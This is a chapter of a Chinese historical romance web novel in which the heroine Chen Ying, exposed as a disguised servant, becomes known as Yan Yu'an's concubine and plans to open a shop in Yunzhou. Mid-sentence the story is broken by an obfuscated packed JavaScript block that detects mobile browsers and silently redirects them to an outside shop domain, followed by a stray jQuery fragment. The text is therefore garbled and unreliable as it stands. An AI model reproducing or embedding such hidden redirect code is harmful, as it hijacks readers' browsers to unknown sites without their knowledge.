两人在房内共度一夜,直到第二日晌午,屋外仍是寂静无声。
言昱安起身后,便去屏风后沐浴,隔着重重纱幔,轻微脚步声并未惊动床榻上的人,没过多久,屏风后便传出淅淅沥沥水声,然后是穿戴衣裳的声音。
陈英其实早就醒了,只是迟迟不敢睁开眼。没过多久,床帐被人从外头掀开,鼻尖传来一阵湿热皂角香,混着男子身上熟悉的甘松香,像是骤然靠近的暖炉,烤得人瞬间热气上涌。
她紧张得闭紧双眼,一动不动。
纤长眼睫如蝶翅轻轻颤动,她轻咬的唇瓣隐隐泛白,犹似初春枝头绽放的海棠,百媚千娇,令人心醉神迷。
言昱安眸光幽深,视线从少女僵直的四肢掠过,嘴角不自觉地弯起。
情念一起,再难自抑。
他不是没有动摇过。他想将陈英留在身边,一切只等回京后再做安排,可还没等他说出口,陈英便要与他决绝,这是他未曾想到的。
望着榻上装睡的少女,言昱安眼神一黯。
默了会儿,他转身坐到书案前提笔书写。不多时,他面色恢复平静,声音也清润如常,“算起来,我们要在云州过新年了,阿英可有书信要捎回京城?”
陈英心头一跳,陡然睁开眼,一双黑白分明的眼眸里写满了震惊,立刻朝床帐外望去。
目光落在窗边那袭白衣上,她整个人立时便呆住了。
淡金色阳光下,那颀长俊美的身影犹如玉树琼枝,光彩夺目,明明就在书案前端坐书写,周身却似笼罩着一层明净如玉的柔光,恍若神仙。
听到声响,那人抬头朝她看来,眼中盛着温柔笑意。
下意识地,陈英掀开被衾一角偷偷瞅了眼。发现自己衣衫完整,这才松了口气,又想起昨夜自己冲动下的决定,心里隐隐有些不安。
她舔了下唇,小心翼翼望着他问,“过完年你就会离开云州吗?”
这时,言昱安握笔的手指紧了紧,沉静眼眸中有情绪翻涌,脸上笑意也悉数散去。
“是,还得在云州逗留两个月。”
他的声音清润动听,叫人听不出情绪。陈英蹙了蹙眉,也没再说什么。
转眼间她起身下榻,来到书案前俯身提笔。随着她上身微倾,坦领处褶皱更深,她那白皙丰腴之处,还有朱红色石榴裙下玲珑有致的身段,便在透窗而来的日光下,无比清晰地呈现在言昱安眼前。
娇媚中透着灵俏,即便是春日明艳的海棠花,都不及她此刻半分风姿。
“劳烦你,将这封信捎给我姑姑。”陈英毫不避讳,将墨迹未干的信纸往他面前一推。
既然打定主意要留在云州,写信告诉姑姑也是应当的。如今云州危难解除,百废待兴,要不了多久,那些流散在外的百姓便会回到故乡,寻找失散的亲人重建家园。或许很快她就能和阿爹、阿兄团聚了,相信姑姑收到信,也一定会替她高兴的。
陈英不再看他,转身去了屏风后,她歪着头,五指成梳把长发捋到肩侧,正要掬水净面时,不经意瞧见矮几上备好的朱红袄裙,她这才将身上衣裳褪下。
隔着一层纱绣屏风,少女身段纤细柔媚一览无余,纤长脖颈下起伏的线条,勾勒出若隐若现的窈窕身姿,像是在人心底纵了一把火,瞬间如火燎原,五脏俱焚。
言昱安放在桌面上的手指蜷了蜷,眼神复杂地移开视线。
“我现在不是小厮了,可以自由出府了吗?”
没过多久,陈英已穿戴整齐从屏风后走了出来。
她素净的脸上不见半点脂粉,粉润唇瓣吐出的话却是令人心惊,“我想在云州盘下一家铺面做些营生,等日后你回京了,我也能养活自己。”
很早前她就有这样的打算了,可此刻说出来就怕言昱安不信,赶紧又解释着,“我跟人打听过了,城内铺面要价并不高,我手里的银钱是足够的。”
言昱安见她神情认真,更像是深思熟虑后的决定,顿时面色微冷,“眼下城内并不算太平,我会派人去寻些待售铺面,到时候再让人带你去看看。”
陈英未曾觉察出他语气变化,只垂眼思量了会儿,方微微点头说,“这样也好,有劳你了。”
“年节将近,城中宴请也会增多。”言昱安抬眸望去,对上一双坦然的眼眸,他视线淡淡撇开,又继续说,“到时你须得配合我出席,如何应对众人,你可有思量过?”
陈英明显愣了一下,不由低头拧起眉。
有微光透窗进来,照在她白嫩脸庞上,犹如上好羊脂玉镀了层金粉,细长柳叶眉微微蹙起,似乎有些迷茫和窘迫。
这一看便知是没有思量过,满心只惦记着盘铺面,以备将来独自谋生。
言昱安眸光微敛,藏起涌动的情绪,似是轻叹了声,“今日你且思量一下吧。”
说完,他垂着眼将信纸对折装入信封,又在上面加印私印。做完这些后,他起身朝外走,临出门前突然脚步一顿。
他回过头来,望着一身明艳红裙的少女,终是忍不住唤她,“阿英。”
声音艰涩,有着连他自己都没发觉的复杂,望着陈英挺直的脊背,目光触及她莹亮双眸中的坦荡,想要问的话瞬间便卡在喉咙里。
这时陈英抬起头,眨了眨眼回望他,“还有什么事,要吩咐我吗?”
言昱安怔了怔,脸上有些不自在。他慢慢握紧手指,蓦地又松开,再开口时,声音依旧温柔,“你着红裳很美。”
他的声音轻得像一片羽毛,随风飘摇而去。说完他也不再停留,大步迈出门去,自然也就错过陈英在他背后,微微瞠目发呆的表情。
男子飘然若仙的身影渐行渐远,白衣胜雪,恍如谪仙下凡。宽大袖摆被风卷起,银线勾勒出祥云暗纹,在日光下泛起浮动的细碎光芒,像是夜空璀璨星河,又像是秋水粼粼波光。
陈英呆呆地望着,唇角不禁掠过一丝苦涩,言昱安早晚都是要离开云州啊,就算她再不舍又能如何?
这一日陈英并未出府,倒不是她不想,而是宋管事过来了。
对上陈英那张清艳又熟悉的脸,宋管事当即吓了一跳,“你,你……”
你你你了半天,都说不出一句完整的话,最后还是憋出一句,“你怎会在这里?”
话一出口,他脑中轰然一亮,立刻明白其中关窍。
言昱安虽说是新科状元郎,可到底还是出身显赫,堂堂侯府世子爷,风流肆意些也属正常。且又正是血气方刚的年纪,如何能受得了长途跋涉的艰辛,身边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289386|152082||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安排个可心的丫鬟,女扮男装伺候着,其实这也算不得什么大事。
陈英顶着宋管事惊诧的目光,放下手中暖炉慢慢起身。
她面带几分羞赧,朝宋管事盈盈一拜,“让宋管事见笑了。”
她态度不卑不亢,双眸清亮透彻,并没有因被揭穿女扮男装而有丝毫慌乱。
宋管事一脸犹疑看着她,“所以昨晚也是你在屋内伺候的?”
陈英心里忐忑,面上却很镇定,“如您所见。”
昨夜好不容易将塞进府的美人都遣送回去,眼下正犯难要如何安置昨夜承宠的美人,谁能想到这新宠美人竟是言昱安自己的人,这下倒是好办多了。
如此他也瞧出来,纵然昨夜宴会上百花献媚,但没人能入得了言昱安的眼,可见这位世子爷是个秉性高洁之人。
再看眼前这位英姑娘,姿容清艳,举止娴雅,真不愧是京城侯府调.教出来的,可比云州世族大家里的千金还要体面些。
这样想着,宋管事心中觉得踏实,语气也越发和蔼,“过几日便是腊八节,万法寺要举办浴佛会,城内世家大族都要携眷出席,以昭诚敬。”
顿了顿,他展眉一笑,继续道,“您是言大人身边唯一的女眷,如夫人自然是要相伴出席的。”
他说着,看了眼身旁的丫鬟麦冬。
麦冬会意,立刻上前朝着陈英行礼,“奴婢麦冬,今后服侍姑娘……”
话一出口她就倒吸口凉气,惊慌失措地改口说,“奴婢该死,请如夫人恕罪。”
陈英并不觉得意外,从今日起她不再是言昱安的小厮,而是众人皆知的如夫人。言昱安尚未娶亲,这一声如夫人已经是给足她颜面。可就算是尊称她一声如夫人又如何,在世人眼中她仍旧是上不得台面的侍妾而已。
她声音淡淡,自嘲一笑,“不必如此,还是叫我英姑娘吧。”
麦冬一愣,望着她茫然地点点头。
没过几日,陈英就收到平康送来一叠图纸,正是她心心念念的商铺。有地处闹市的胭脂水粉铺子,布匹绸缎铺子,也有开在豪门贵宅云集之地的金石玉器店,笔墨字画书斋。
若不是手中银钱有限,她还真想多涉猎些行当。
也幸亏言昱安教会她识文断字,如今她才有底气去做想做的事情。若是幼年时不曾遇到言昱安,那么此刻她眼中怕是只有一方后宅,几尺穹庐而已。倘若她胸无万卷,不谙处世之道,要想在这纷乱世道自在行走,对一个女子而言,将会是何其艰难?
从一堆图纸中挑选了两处商铺,她拿在手中翻来覆去地看,竟是越看越欢喜。想着图纸上的描述若是属实的话,她得尽早出府定下契书才好。
言昱安最近为安置流民一事劳心费神,进屋时眉宇间仍旧带着疲惫。
不知什么时候他走到了陈英身旁,只是随意扫了眼图纸,便蹙了蹙眉问,“已经想好了?”
陈英以为他是在问挑选商铺的事,也不去看他,只低声叹了句,“有些拿不定注意。”
“你只当是我刚过门的妻子,一切随心便好。”言昱安突然说。
陈英还没反应过来他在说什么,就见他转到屏风后去更衣,顿时明白过来,望着屏风后熟悉的人影,竟有片刻失神。